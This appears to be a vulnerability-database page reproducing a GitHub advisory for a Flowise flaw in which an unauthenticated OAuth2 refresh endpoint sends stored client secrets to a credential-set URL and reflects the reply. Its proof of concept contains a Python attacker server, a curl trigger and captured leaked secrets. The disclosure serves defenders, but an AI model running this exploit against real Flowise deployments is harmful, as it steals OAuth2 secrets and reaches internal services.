Browse / AI Framework and Platform Flaws / CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
- Class
- AI Framework and Platform Flaws (filed by a model that read the advisory)
- Technique
- Server-side request forgery
- Affected
- flowise (npm)
- Gets past
- Authentication check
- CVSS
- CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
- EPSS
- 0.6% chance of exploitation in 30 days
How it works, in short
The OAuth2 refresh route is whitelisted from auth and sends server-side requests to a credential-supplied token URL without SSRF checks, returning the remote response to the caller. (Our summary, written by a model. The source text is below.)
Details
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
Details
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
- Unauthenticated route via whitelist
dist/utils/constants.jsincludes:/api/v1/oauth2-credential/callback/api/v1/oauth2-credential/refreshdist/index.jsauth middleware uses:const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))- Therefore
/api/v1/oauth2-credential/refresh/:credentialIdis treated as whitelisted.
- User-controlled SSRF target
- In refresh handler (
dist/routes/oauth2/index.js): - loads credential by
credentialId - decrypts credential data
- reads
accessTokenUrl - executes:
axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)- No
secureAxiosRequest()/ denylist wrapper is used in this path.
- Non-blind response reflection
- Response returns:
tokenInfo: { ...tokenData, ... }tokenDatais the attacker/internal server response body.
- Secrets sent to SSRF target
- Request body includes:
client_idclient_secretgrant_type=refresh_tokenrefresh_token
PoC
Environment used
flowiseai/flowise:latestcontainer (localhost:3000)- Attacker server (
localhost:18081) returning JSON
Step 1: Start attacker server
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)
In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
curl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'
Observed response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}
Attacker server logs captured:
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2
This confirms:
- unauthenticated trigger,
- server-side POST to attacker-controlled URL,
- exfiltration of OAuth2 secrets in POST body,
- full response reflection to client (tokenInfo).
Impact
- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
- Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
- Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
- Technical impact:
- outbound SSRF to attacker/internal targets,
- direct leak of
client_secretandrefresh_tokento SSRF target, - direct response read from target via API response (
tokenInfo). - Deployment impact:
- cloud/internal network reachability can expose metadata/internal services depending on egress controls.
References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473
- https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2
- https://github.com/FlowiseAI/Flowise
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3
Source: GitHub Advisory Database, used under CC BY 4.0.